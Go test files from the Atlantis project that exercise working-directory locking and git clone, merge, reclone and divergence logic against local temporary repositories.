unlockFn1() unlockFn2() _, err := locker.TryLock(repo, 1, workspace, path, projectName, cmd) Ok(t, err) _, err = locker.TryLock(repo, newPull, workspace, path, projectName, cmd) Ok(t, err) } func TestUnlockDifferentProjectNames(t *testing.T) { locker := events.NewDefaultWorkingDirLocker() t.Log("unlocking should work for different projects") unlockFn1, err1 := locker.TryLock(repo, 1, workspace, path, projectName, cmd) Ok(t, err1) newProjectName := "new-project" unlockFn2, err2 := locker.TryLock(repo, 1, workspace, path, newProjectName, cmd) Ok(t, err2) unlockFn1() unlockFn2() _, err := locker.TryLock(repo, 1, workspace, path, projectName, cmd) Ok(t, err) _, err = locker.TryLock(repo, 1, workspace, path, newProjectName, cmd) Ok(t, err) } ================================================ FILE: server/events/working_dir_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events_test import ( "crypto/tls" "fmt" "net/http" "os" "path/filepath" "strings" "sync" "sync/atomic" "testing" "github.com/stretchr/testify/assert" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) // disableSSLVerification disables ssl verification for the global http client // and returns a function to be called in a defer that will re-enable it. func disableSSLVerification() func() { orig := http.DefaultTransport.(*http.Transport).TLSClientConfig // nolint: gosec http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true} return func() { http.DefaultTransport.(*http.Transport).TLSClientConfig = orig } } // Test that if we don't have any existing files, we check out the repo. func TestClone_NoneExisting(t *testing.T) { // Initialize the git repo. repoDir := initRepo(t) expCommit := runCmd(t, repoDir, "git", "rev-parse", "HEAD") dataDir := t.TempDir() logger := logging.NewNoopLogger(t) wd := &events.FileWorkspace{ DataDir: dataDir, CheckoutMerge: false, TestingOverrideHeadCloneURL: fmt.Sprintf("file://%s", repoDir), GpgNoSigningEnabled: true, } cloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", }, "default") Ok(t, err) // Use rev-parse to verify at correct commit. actCommit := runCmd(t, cloneDir, "git", "rev-parse", "HEAD") Equals(t, expCommit, actCommit) } // Test running on main branch with merge strategy func TestClone_MainBranchWithMergeStrategy(t *testing.T) { // Initialize the git repo. repoDir := initRepo(t) expCommit := runCmd(t, repoDir, "git", "rev-parse", "main") dataDir := t.TempDir() logger := logging.NewNoopLogger(t) overrideURL := fmt.Sprintf("file://%s", repoDir) wd := &events.FileWorkspace{ DataDir: dataDir, CheckoutMerge: true, TestingOverrideHeadCloneURL: overrideURL, TestingOverrideBaseCloneURL: overrideURL, GpgNoSigningEnabled: true, } _, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ Num: 0, BaseRepo: models.Repo{}, HeadBranch: "branch", BaseBranch: "main", }, "default") Ok(t, err) // Create a file that we can use to check if the repo was recloned. runCmd(t, dataDir, "touch", "repos/0/default/proof") // re-clone to make sure we don't try to merge main into itself cloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", BaseBranch: "main", }, "default") Ok(t, err) // Use rev-parse to verify at correct commit. actCommit := runCmd(t, cloneDir, "git", "rev-parse", "HEAD") Equals(t, expCommit, actCommit) // Check that our proof file is still there, proving that we didn't reclone. _, err = os.Stat(filepath.Join(cloneDir, "proof")) Ok(t, err) } // Test that if we don't have any existing files, we check out the repo // successfully when we're using the merge method. func TestClone_CheckoutMergeNoneExisting(t *testing.T) { // Initialize the git repo. repoDir := initRepo(t) // Add a commit to branch 'branch' that's not on main. runCmd(t, repoDir, "git", "checkout", "branch") runCmd(t, repoDir, "touch", "branch-file") runCmd(t, repoDir, "git", "add", "branch-file") runCmd(t, repoDir, "git", "commit", "-m", "branch-commit") branchCommit := runCmd(t, repoDir, "git", "rev-parse", "HEAD") // Now switch back to main and advance the main branch by another // commit. runCmd(t, repoDir, "git", "checkout", "main") runCmd(t, repoDir, "touch", "main-file") runCmd(t, repoDir, "git", "add", "main-file") runCmd(t, repoDir, "git", "commit", "-m", "main-commit") mainCommit := runCmd(t, repoDir, "git", "rev-parse", "HEAD") // Finally, perform a merge in another branch ourselves, just so we know // what the final state of the repo should be. runCmd(t, repoDir, "git", "checkout", "-b", "mergetest") runCmd(t, repoDir, "git", "merge", "-m", "atlantis-merge", "branch") expLsOutput := runCmd(t, repoDir, "ls") logger := logging.NewNoopLogger(t) dataDir := t.TempDir() overrideURL := fmt.Sprintf("file://%s", repoDir) wd := &events.FileWorkspace{ DataDir: dataDir, CheckoutMerge: true, CheckoutDepth: 50, TestingOverrideHeadCloneURL: overrideURL, TestingOverrideBaseCloneURL: overrideURL, GpgNoSigningEnabled: true, } cloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", BaseBranch: "main", }, "default") Ok(t, err) // Check the commits. actBaseCommit := runCmd(t, cloneDir, "git", "rev-parse", "HEAD~1") actHeadCommit := runCmd(t, cloneDir, "git", "rev-parse", "HEAD^2") Equals(t, mainCommit, actBaseCommit) Equals(t, branchCommit, actHeadCommit) // Use ls to verify the repo looks good. actLsOutput := runCmd(t, cloneDir, "ls") Equals(t, expLsOutput, actLsOutput) } // Test that if we're using the merge method and the repo is already cloned at // the right commit, then we don't reclone. func TestClone_CheckoutMergeNoReclone(t *testing.T) { // Initialize the git repo. repoDir := initRepo(t) // Add a commit to branch 'branch' that's not on main. runCmd(t, repoDir, "git", "checkout", "branch") runCmd(t, repoDir, "touch", "branch-file") runCmd(t, repoDir, "git", "add", "branch-file") runCmd(t, repoDir, "git", "commit", "-m", "branch-commit") // Now switch back to main and advance the main branch by another commit. runCmd(t, repoDir, "git", "checkout", "main") runCmd(t, repoDir, "touch", "main-file") runCmd(t, repoDir, "git", "add", "main-file") runCmd(t, repoDir, "git", "commit", "-m", "main-commit") logger := logging.NewNoopLogger(t) // Run the clone for the first time. dataDir := t.TempDir() overrideURL := fmt.Sprintf("file://%s", repoDir) wd := &events.FileWorkspace{ DataDir: dataDir, CheckoutMerge: true, CheckoutDepth: 50, TestingOverrideHeadCloneURL: overrideURL, TestingOverrideBaseCloneURL: overrideURL, GpgNoSigningEnabled: true, } _, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", BaseBranch: "main", }, "default") Ok(t, err) // Create a file that we can use to check if the repo was recloned. runCmd(t, dataDir, "touch", "repos/0/default/proof") // Now run the clone again. cloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", BaseBranch: "main", }, "default") Ok(t, err) // Check that our proof file is still there, proving that we didn't reclone. _, err = os.Stat(filepath.Join(cloneDir, "proof")) Ok(t, err) } // Same as TestClone_CheckoutMergeNoReclone however the branch that gets // merged is a fast-forward merge. See #584. func TestClone_CheckoutMergeNoRecloneFastForward(t *testing.T) { // Initialize the git repo. repoDir := initRepo(t) // Add a commit to branch 'branch' that's not on main. // This will result in a fast-forwardable merge. runCmd(t, repoDir, "git", "checkout", "branch") runCmd(t, repoDir, "touch", "branch-file") runCmd(t, repoDir, "git", "add", "branch-file") runCmd(t, repoDir, "git", "commit", "-m", "branch-commit") logger := logging.NewNoopLogger(t) // Run the clone for the first time. dataDir := t.TempDir() overrideURL := fmt.Sprintf("file://%s", repoDir) wd := &events.FileWorkspace{ DataDir: dataDir, CheckoutMerge: true, CheckoutDepth: 50, TestingOverrideHeadCloneURL: overrideURL, TestingOverrideBaseCloneURL: overrideURL, GpgNoSigningEnabled: true, } _, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", BaseBranch: "main", }, "default") Ok(t, err) // Create a file that we can use to check if the repo was recloned. runCmd(t, dataDir, "touch", "repos/0/default/proof") // Now run the clone again. cloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", BaseBranch: "main", }, "default") Ok(t, err) // Check that our proof file is still there, proving that we didn't reclone. _, err = os.Stat(filepath.Join(cloneDir, "proof")) Ok(t, err) } // Test that if there's a conflict when merging we return a good error. func TestClone_CheckoutMergeConflict(t *testing.T) { // Initialize the git repo. repoDir := initRepo(t) // Add a commit to branch 'branch' that's not on main. runCmd(t, repoDir, "git", "checkout", "branch") runCmd(t, repoDir, "sh", "-c", "echo hi >> file") runCmd(t, repoDir, "git", "add", "file") runCmd(t, repoDir, "git", "commit", "-m", "branch-commit") // Add a new commit to main that will cause a conflict if branch was // merged. runCmd(t, repoDir, "git", "checkout", "main") runCmd(t, repoDir, "sh", "-c", "echo conflict >> file") runCmd(t, repoDir, "git", "add", "file") runCmd(t, repoDir, "git", "commit", "-m", "commit") logger := logging.NewNoopLogger(t) // We're set up, now trigger the Atlantis clone. dataDir := t.TempDir() overrideURL := fmt.Sprintf("file://%s", repoDir) wd := &events.FileWorkspace{ DataDir: dataDir, CheckoutMerge: true, CheckoutDepth: 50, TestingOverrideHeadCloneURL: overrideURL, TestingOverrideBaseCloneURL: overrideURL, GpgNoSigningEnabled: true, } _, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", BaseBranch: "main", }, "default") ErrContains(t, "running git merge -q --no-ff -m atlantis-merge FETCH_HEAD", err) ErrContains(t, "Auto-merging file", err) ErrContains(t, "CONFLICT (add/add)", err) ErrContains(t, "Merge conflict in file", err) ErrContains(t, "Automatic merge failed; fix conflicts and then commit the result.", err) ErrContains(t, "exit status 1", err) } func TestClone_CheckoutMergeShallow(t *testing.T) { // Initialize the git repo. repoDir := initRepo(t) runCmd(t, repoDir, "git", "commit", "--allow-empty", "-m", "should not be cloned") oldCommit := strings.TrimSpace(runCmd(t, repoDir, "git", "rev-parse", "HEAD")) runCmd(t, repoDir, "git", "commit", "--allow-empty", "-m", "merge-base") baseCommit := strings.TrimSpace(runCmd(t, repoDir, "git", "rev-parse", "HEAD")) runCmd(t, repoDir, "git", "branch", "-f", "branch", "HEAD") // Add a commit to branch 'branch' that's not on master. runCmd(t, repoDir, "git", "checkout", "branch") runCmd(t, repoDir, "touch", "branch-file") runCmd(t, repoDir, "git", "add", "branch-file") runCmd(t, repoDir, "git", "commit", "-m", "branch-commit") // Now switch back to master and advance the master branch by another // commit. runCmd(t, repoDir, "git", "checkout", "main") runCmd(t, repoDir, "touch", "main-file") runCmd(t, repoDir, "git", "add", "main-file") runCmd(t, repoDir, "git", "commit", "-m", "main-commit") overrideURL := fmt.Sprintf("file://%s", repoDir) // Test that we don't check out full repo if using CheckoutMerge strategy t.Run("Shallow", func(t *testing.T) { logger := logging.NewNoopLogger(t) dataDir := t.TempDir() wd := &events.FileWorkspace{ DataDir: dataDir, CheckoutMerge: true, // retrieve two commits in each branch: // master: master-commit, merge-base // branch: branch-commit, merge-base CheckoutDepth: 2, TestingOverrideHeadCloneURL: overrideURL, TestingOverrideBaseCloneURL: overrideURL, GpgNoSigningEnabled: true, } cloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", BaseBranch: "main", }, "default") Ok(t, err) gotBaseCommitType := runCmd(t, cloneDir, "git", "cat-file", "-t", baseCommit) Assert(t, gotBaseCommitType == "commit\n", "should have merge-base in shallow repo") gotOldCommitType := runCmdErrCode(t, cloneDir, 128, "git", "cat-file", "-t", oldCommit) Assert(t, strings.Contains(gotOldCommitType, "could not get object info"), "should not have old commit in shallow repo") }) // Test that we will check out full repo if CheckoutDepth is too small t.Run("FullClone", func(t *testing.T) { logger := logging.NewNoopLogger(t) dataDir := t.TempDir() wd := &events.FileWorkspace{ DataDir: dataDir, CheckoutMerge: true, // 1 is not enough to retrieve merge-base, so full clone should be performed CheckoutDepth: 1, TestingOverrideHeadCloneURL: overrideURL, TestingOverrideBaseCloneURL: overrideURL, GpgNoSigningEnabled: true, } cloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", BaseBranch: "main", }, "default") Ok(t, err) gotBaseCommitType := runCmd(t, cloneDir, "git", "cat-file", "-t", baseCommit) Assert(t, gotBaseCommitType == "commit\n", "should have merge-base in full repo") gotOldCommitType := runCmd(t, cloneDir, "git", "cat-file", "-t", oldCommit) Assert(t, gotOldCommitType == "commit\n", "should have old commit in full repo") }) } // Test that if the repo is already cloned and is at the right commit, we // don't reclone. func TestClone_NoReclone(t *testing.T) { repoDir := initRepo(t) dataDir := t.TempDir() runCmd(t, dataDir, "mkdir", "-p", "repos/0/") runCmd(t, dataDir, "mv", repoDir, "repos/0/default") // Create a file that we can use later to check if the repo was recloned. runCmd(t, dataDir, "touch", "repos/0/default/proof") logger := logging.NewNoopLogger(t) wd := &events.FileWorkspace{ DataDir: dataDir, CheckoutMerge: false, TestingOverrideHeadCloneURL: fmt.Sprintf("file://%s", repoDir), GpgNoSigningEnabled: true, } cloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", }, "default") Ok(t, err) // Check that our proof file is still there. _, err = os.Stat(filepath.Join(cloneDir, "proof")) Ok(t, err) } // Test that if the repo is already cloned but is at the wrong commit, we // fetch and reset func TestClone_ResetOnWrongCommit(t *testing.T) { repoDir := initRepo(t) dataDir := t.TempDir() // Copy the repo to our data dir. runCmd(t, dataDir, "mkdir", "-p", "repos/0/") runCmd(t, dataDir, "git", "clone", repoDir, "repos/0/default") // Now add a commit to the repo, so the one in the data dir is out of date. runCmd(t, repoDir, "git", "checkout", "branch") runCmd(t, repoDir, "touch", "newfile") runCmd(t, repoDir, "git", "add", "newfile") runCmd(t, repoDir, "git", "commit", "-m", "newfile") expCommit := strings.TrimSpace(runCmd(t, repoDir, "git", "rev-parse", "HEAD")) // Pretend that terraform has created a plan file, we'll check for it later planFile := filepath.Join(dataDir, "repos/0/default/default.tfplan") assert.NoFileExists(t, planFile) _, err := os.Create(planFile) Assert(t, err == nil, "creating plan file: %v", err) assert.FileExists(t, planFile) logger := logging.NewNoopLogger(t) wd := &events.FileWorkspace{ DataDir: dataDir, CheckoutMerge: false, TestingOverrideHeadCloneURL: fmt.Sprintf("file://%s", repoDir), GpgNoSigningEnabled: true, } cloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", HeadCommit: expCommit, BaseBranch: "main", }, "default") Ok(t, err) assert.FileExists(t, planFile, "Plan file should not been wiped out by reset") // Use rev-parse to verify at correct commit. actCommit := strings.TrimSpace(runCmd(t, cloneDir, "git", "rev-parse", "HEAD")) Equals(t, expCommit, actCommit) } // Test that if the repo is already cloned but is at the wrong commit, but the base has changed // we need to reclone func TestClone_ReCloneOnBaseChange(t *testing.T) { repoDir := initRepo(t) dataDir := t.TempDir() // Copy the repo to our data dir. runCmd(t, dataDir, "mkdir", "-p", "repos/0/") runCmd(t, dataDir, "git", "clone", repoDir, "repos/0/default") // Now add a commit to the repo, so the one in the data dir is out of date. runCmd(t, repoDir, "git", "checkout", "branch") runCmd(t, repoDir, "touch", "newfile") runCmd(t, repoDir, "git", "add", "newfile") runCmd(t, repoDir, "git", "commit", "-m", "newfile") expCommit := strings.TrimSpace(runCmd(t, repoDir, "git", "rev-parse", "HEAD")) // Pretend that terraform has created a plan file, we'll check for it later planFile := filepath.Join(dataDir, "repos/0/default/default.tfplan") assert.NoFileExists(t, planFile) _, err := os.Create(planFile) Assert(t, err == nil, "creating plan file: %v", err) assert.FileExists(t, planFile) logger := logging.NewNoopLogger(t) wd := &events.FileWorkspace{ DataDir: dataDir, CheckoutMerge: false, TestingOverrideHeadCloneURL: fmt.Sprintf("file://%s", repoDir), GpgNoSigningEnabled: true, } cloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", HeadCommit: expCommit, BaseBranch: "some-other-base-branch", }, "default") Ok(t, err) assert.NoFileExists(t, planFile, "Plan file should been wiped out by the reclone") // Use rev-parse to verify at correct commit. actCommit := strings.TrimSpace(runCmd(t, cloneDir, "git", "rev-parse", "HEAD")) Equals(t, expCommit, actCommit) } // Test that if the repo is already cloned but is at the wrong commit, but the base has changed // we need to reclone func TestClone_ReCloneOnErrorAttemptingReuse(t *testing.T) { repoDir := initRepo(t) dataDir := t.TempDir() // Copy the repo to our data dir. runCmd(t, dataDir, "mkdir", "-p", "repos/0/") runCmd(t, dataDir, "git", "clone", repoDir, "repos/0/default") // Now add a commit to the repo, so the one in the data dir is out of date. runCmd(t, repoDir, "git", "checkout", "branch") runCmd(t, repoDir, "touch", "newfile") runCmd(t, repoDir, "git", "add", "newfile") runCmd(t, repoDir, "git", "commit", "-m", "newfile") expCommit := strings.TrimSpace(runCmd(t, repoDir, "git", "rev-parse", "HEAD")) // Now intentionally break the remote so it's unable to fetch runCmd(t, dataDir, "rm", "repos/0/default/.git/HEAD") // Pretend that terraform has created a plan file, we'll check for it later planFile := filepath.Join(dataDir, "repos/0/default/default.tfplan") assert.NoFileExists(t, planFile) _, err := os.Create(planFile) Assert(t, err == nil, "creating plan file: %v", err) assert.FileExists(t, planFile) logger := logging.NewNoopLogger(t) wd := &events.FileWorkspace{ DataDir: dataDir, CheckoutMerge: false, TestingOverrideHeadCloneURL: fmt.Sprintf("file://%s", repoDir), GpgNoSigningEnabled: true, } cloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", HeadCommit: expCommit, BaseBranch: "main", }, "default") Ok(t, err) assert.NoFileExists(t, planFile, "Plan file should been wiped out by the reclone") // Use rev-parse to verify at correct commit. actCommit := strings.TrimSpace(runCmd(t, cloneDir, "git", "rev-parse", "HEAD")) Equals(t, expCommit, actCommit) } func TestClone_ResetOnWrongCommitWithMergeStrategy(t *testing.T) { repoDir := initRepo(t) dataDir := t.TempDir() // In the repo, make sure there's a commit on the branch and main so we have something to merge runCmd(t, repoDir, "touch", "newfile") runCmd(t, repoDir, "git", "add", "newfile") runCmd(t, repoDir, "git", "commit", "-m", "newfile") runCmd(t, repoDir, "git", "checkout", "branch") runCmd(t, repoDir, "touch", "branchfile") runCmd(t, repoDir, "git", "add", "branchfile") runCmd(t, repoDir, "git", "commit", "-m", "branchfile") // Copy the repo to our data dir. checkoutDir := filepath.Join(dataDir, "repos/1/default") // "clone" the repoDir, instead of just copying it, because we're going to track it runCmd(t, dataDir, "mkdir", "-p", "repos/1/") runCmd(t, dataDir, "git", "clone", repoDir, checkoutDir) runCmd(t, checkoutDir, "git", "config", "--local", "user.email", "atlantisbot@runatlantis.io") runCmd(t, checkoutDir, "git", "config", "--local", "user.name", "atlantisbot") runCmd(t, checkoutDir, "git", "config", "--local", "commit.gpgsign", "false") runCmd(t, checkoutDir, "git", "checkout", "main") runCmd(t, checkoutDir, "git", "remote", "add", "source", repoDir) // Simulate the merge strategy runCmd(t, checkoutDir, "git", "checkout", "branch") runCmd(t, checkoutDir, "git", "config", "--local", "user.email", "atlantisbot@runatlantis.io") runCmd(t, checkoutDir, "git", "config", "--local", "user.name", "atlantisbot") runCmd(t, checkoutDir, "git", "merge", "-q", "--no-ff", "-m", "atlantis-merge", "origin/main") // Now add a commit to the repo, so the one in the data dir is out of date. runCmd(t, repoDir, "touch", "anotherfile") runCmd(t, repoDir, "git", "add", "anotherfile") runCmd(t, repoDir, "git", "commit", "-m", "anotherfile") expCommit := strings.TrimSpace(runCmd(t, repoDir, "git", "rev-parse", "HEAD")) // Pretend that terraform has created a plan file, we'll check for it later planFile := filepath.Join(dataDir, "repos/1/default/default.tfplan") assert.NoFileExists(t, planFile) _, err := os.Create(planFile) Assert(t, err == nil, "creating plan file: %v", err) assert.FileExists(t, planFile) logger := logging.NewNoopLogger(t) wd := &events.FileWorkspace{ DataDir: dataDir, CheckoutMerge: true, TestingOverrideHeadCloneURL: fmt.Sprintf("file://%s", repoDir), GpgNoSigningEnabled: true, } fmt.Println(repoDir) cloneDir, err := wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "branch", HeadCommit: expCommit, BaseBranch: "main", Num: 1, }, "default") Ok(t, err) assert.FileExists(t, planFile, "Plan file should not been wiped out by reset") // Use rev-parse to verify at correct commit. actCommit := strings.TrimSpace(runCmd(t, cloneDir, "git", "rev-parse", "HEAD^2")) Equals(t, expCommit, actCommit) } // Test that if the branch we're merging into has diverged and we're using // checkout-strategy=merge, we actually merge the branch. // Also check that we do not merge if we are not using the merge strategy. func TestClone_MasterHasDiverged(t *testing.T) { // Initialize the git repo. repoDir := initRepo(t) // Simulate first PR. runCmd(t, repoDir, "git", "checkout", "-b", "first-pr") runCmd(t, repoDir, "touch", "file1") runCmd(t, repoDir, "git", "add", "file1") runCmd(t, repoDir, "git", "commit", "-m", "file1") // Atlantis checkout first PR. firstPRDir := repoDir + "/first-pr" runCmd(t, repoDir, "mkdir", "-p", "first-pr") runCmd(t, firstPRDir, "git", "clone", "--branch", "main", "--single-branch", repoDir, ".") runCmd(t, firstPRDir, "git", "remote", "add", "source", repoDir) runCmd(t, firstPRDir, "git", "fetch", "source", "+refs/heads/first-pr") runCmd(t, firstPRDir, "git", "config", "--local", "user.email", "atlantisbot@runatlantis.io") runCmd(t, firstPRDir, "git", "config", "--local", "user.name", "atlantisbot") runCmd(t, firstPRDir, "git", "config", "--local", "commit.gpgsign", "false") runCmd(t, firstPRDir, "git", "merge", "-q", "--no-ff", "-m", "atlantis-merge", "FETCH_HEAD") // Simulate second PR. runCmd(t, repoDir, "git", "checkout", "main") runCmd(t, repoDir, "git", "checkout", "-b", "second-pr") runCmd(t, repoDir, "touch", "file2") runCmd(t, repoDir, "git", "add", "file2") runCmd(t, repoDir, "git", "commit", "-m", "file2") // Atlantis checkout second PR. secondPRDir := repoDir + "/second-pr" runCmd(t, repoDir, "mkdir", "-p", "second-pr") runCmd(t, secondPRDir, "git", "clone", "--branch", "main", "--single-branch", repoDir, ".") runCmd(t, secondPRDir, "git", "remote", "add", "source", repoDir) runCmd(t, secondPRDir, "git", "fetch", "source", "+refs/heads/second-pr") runCmd(t, secondPRDir, "git", "config", "--local", "user.email", "atlantisbot@runatlantis.io") runCmd(t, secondPRDir, "git", "config", "--local", "user.name", "atlantisbot") runCmd(t, secondPRDir, "git", "config", "--local", "commit.gpgsign", "false") runCmd(t, secondPRDir, "git", "merge", "-q", "--no-ff", "-m", "atlantis-merge", "FETCH_HEAD") // Merge first PR runCmd(t, repoDir, "git", "checkout", "main") runCmd(t, repoDir, "git", "merge", "first-pr") // Copy the second-pr repo to our data dir which has diverged remote main runCmd(t, repoDir, "mkdir", "-p", "repos/0/") runCmd(t, repoDir, "cp", "-R", secondPRDir, "repos/0/default") logger := logging.NewNoopLogger(t) // Run the clone. wd := &events.FileWorkspace{ DataDir: repoDir, CheckoutMerge: false, CheckoutDepth: 50, GpgNoSigningEnabled: true, } // Pretend terraform has created a plan file, we'll check for it later planFile := filepath.Join(repoDir, "repos/0/default/default.tfplan") assert.NoFileExists(t, planFile) _, err := os.Create(planFile) Assert(t, err == nil, "creating plan file: %v", err) assert.FileExists(t, planFile) // Run MergeAgain without the checkout merge strategy. It should return // false for mergedAgain _, err = wd.Clone(logger, models.Repo{}, models.PullRequest{ BaseRepo: models.Repo{}, HeadBranch: "second-pr", BaseBranch: "main", }, "default") Ok(t, err) mergedAgain, err := wd.MergeAgain(logger, models.Repo{CloneURL: repoDir}, models.PullRequest{ BaseRepo: models.Repo{CloneURL: repoDir}, HeadBranch: "second-pr", BaseBranch: "main", }, "default") Ok(t, err) assert.FileExists(t, planFile, "Existing plan file should not be deleted by merging again") Assert(t, mergedAgain == false, "MergeAgain with CheckoutMerge=false should not merge") wd.CheckoutMerge = true // Run the clone twice with the merge strategy, the first run should // return true for mergedAgain, subsequent runs should // return false since the first call is supposed to merge. mergedAgain, err = wd.MergeAgain(logger, models.Repo{CloneURL: repoDir}, models.PullRequest{ BaseRepo: models.Repo{CloneURL: repoDir}, HeadBranch: "second-pr", BaseBranch: "main", }, "default") Ok(t, err) assert.FileExists(t, planFile, "Existing plan file should not be deleted by merging again") Assert(t, mergedAgain == true, "First clone with CheckoutMerge=true with diverged base should have merged") mergedAgain, err = wd.MergeAgain(logger, models.Repo{CloneURL: repoDir}, models.PullRequest{ BaseRepo: models.Repo{CloneURL: repoDir}, HeadBranch: "second-pr", BaseBranch: "main", }, "default") Ok(t, err) Assert(t, mergedAgain == false, "Second clone with CheckoutMerge=true and initially diverged base should not merge again") assert.FileExists(t, planFile, "Existing plan file should not have been deleted") } func TestHasDiverged_MasterHasDiverged(t *testing.T) { // Initialize the git repo. repoDir := initRepo(t) // Simulate first PR. runCmd(t, repoDir, "git", "checkout", "-b", "first-pr") runCmd(t, repoDir, "touch", "file1") runCmd(t, repoDir, "git", "add", "file1") runCmd(t, repoDir, "git", "commit", "-m", "file1") // Atlantis checkout first PR. firstPRDir := repoDir + "/first-pr" runCmd(t, repoDir, "mkdir", "-p", "first-pr") runCmd(t, firstPRDir, "git", "clone", "--branch", "main", "--single-branch", repoDir, ".") runCmd(t, firstPRDir, "git", "remote", "add", "source", repoDir) runCmd(t, firstPRDir, "git", "fetch", "source", "+refs/heads/first-pr") runCmd(t, firstPRDir, "git", "config", "--local", "user.email", "atlantisbot@runatlantis.io") runCmd(t, firstPRDir, "git", "config", "--local", "user.name", "atlantisbot") runCmd(t, firstPRDir, "git", "config", "--local", "commit.gpgsign", "false") runCmd(t, firstPRDir, "git", "merge", "-q", "--no-ff", "-m", "atlantis-merge", "FETCH_HEAD") // Simulate second PR. runCmd(t, repoDir, "git", "checkout", "main") runCmd(t, repoDir, "git", "checkout", "-b", "second-pr") runCmd(t, repoDir, "touch", "file2") runCmd(t, repoDir, "git", "add", "file2") runCmd(t, repoDir, "git", "commit", "-m", "file2") // Atlantis checkout second PR. secondPRDir := repoDir + "/second-pr" runCmd(t, repoDir, "mkdir", "-p", "second-pr") runCmd(t, secondPRDir, "git", "clone", "--branch", "main", "--single-branch", repoDir, ".") runCmd(t, secondPRDir, "git", "remote", "add", "source", repoDir) runCmd(t, secondPRDir, "git", "fetch", "source", "+refs/heads/second-pr") runCmd(t, secondPRDir, "git", "config", "--local", "user.email", "atlantisbot@runatlantis.io") runCmd(t, secondPRDir, "git", "config", "--local", "user.name", "atlantisbot") runCmd(t, secondPRDir, "git", "config", "--local", "commit.gpgsign", "false") runCmd(t, secondPRDir, "git", "merge", "-q", "--no-ff", "-m", "atlantis-merge", "FETCH_HEAD") // Merge first PR runCmd(t, repoDir, "git", "checkout", "main") runCmd(t, repoDir, "git", "merge", "first-pr") // Copy the second-pr repo to our data dir which has diverged remote main runCmd(t, repoDir, "mkdir", "-p", "repos/0/") runCmd(t, repoDir, "cp", "-R", secondPRDir, "repos/0/default") // "git", "remote", "set-url", "origin", p.BaseRepo.CloneURL, runCmd(t, repoDir+"/repos/0/default", "git", "remote", "update") logger := logging.NewNoopLogger(t) // Run the clone. wd := &events.FileWorkspace{ DataDir: repoDir, CheckoutMerge: true, CheckoutDepth: 50, GpgNoSigningEnabled: true, } hasDiverged := wd.HasDiverged(logger, repoDir+"/repos/0/default") Equals(t, hasDiverged, true) // Run it again but without the checkout merge strategy. It should return // false. wd.CheckoutMerge = false hasDiverged = wd.HasDiverged(logger, repoDir+"/repos/0/default") Equals(t, hasDiverged, false) } func TestHasDiverged_ConcurrentCalls(t *testing.T) { remoteRepo := initRepo(t) dataDir := t.TempDir() clonedRepo := filepath.Join(dataDir, "repos/0/default") runCmd(t, dataDir, "mkdir", "-p", "repos/0/") runCmd(t, dataDir, "git", "clone", remoteRepo, clonedRepo) wd := &events.FileWorkspace{ DataDir: dataDir, CheckoutMerge: true, TestingOverrideHeadCloneURL: fmt.Sprintf("file://%s", remoteRepo), GpgNoSigningEnabled: true, } loops := 100 hasDivergedPerLoop := 2 var wg sync.WaitGroup wg.Add(loops * hasDivergedPerLoop) var sawWarn atomic.Bool checkHasDiverged := func() { defer wg.Done() // Each goroutine gets its own logger to avoid data races on the // shared bytes.Buffer backing logger history. logger := logging.NewNoopLogger(t).WithHistory() wd.HasDiverged(logger, clonedRepo) if strings.Contains(logger.GetHistory(), "[WARN]") { sawWarn.Store(true) } } runCmd(t, clonedRepo, "git", "config", "--local", "user.email", "atlantisbot@runatlantis.io") runCmd(t, clonedRepo, "git", "config", "--local", "user.name", "atlantisbot") runCmd(t, clonedRepo, "git", "config", "--local", "commit.gpgsign", "false") runCmd(t, clonedRepo, "touch", "local-file") runCmd(t, clonedRepo, "git", "add", "local-file") runCmd(t, clonedRepo, "git", "commit", "-m", "Adding local file") for i := range loops { go checkHasDiverged() go checkHasDiverged() remoteFile := fmt.Sprintf("remote-file-%d.txt", i) runCmd(t, remoteRepo, "touch", remoteFile) runCmd(t, remoteRepo, "git", "add", remoteFile) runCmd(t, remoteRepo, "git", "commit", "-m", "Adding remote file") } wg.Wait() Assert(t, !sawWarn.Load(), "warning occurred while checking HasDiverged") } func initRepo(t *testing.T) string { repoDir := t.TempDir() runCmd(t, repoDir, "git", "init", "--initial-branch=main") runCmd(t, repoDir, "touch", ".gitkeep") runCmd(t, repoDir, "git", "add", ".gitkeep") runCmd(t, repoDir, "git", "config", "--local", "user.email", "atlantisbot@runatlantis.io") runCmd(t, repoDir, "git", "config", "--local", "user.name", "atlantisbot") runCmd(t, repoDir, "git", "config", "--local", "commit.gpgsign", "false") runCmd(t, repoDir, "git", "commit", "-m", "initial commit") runCmd(t, repoDir, "git", "branch", "branch") return repoDir } ================================================ 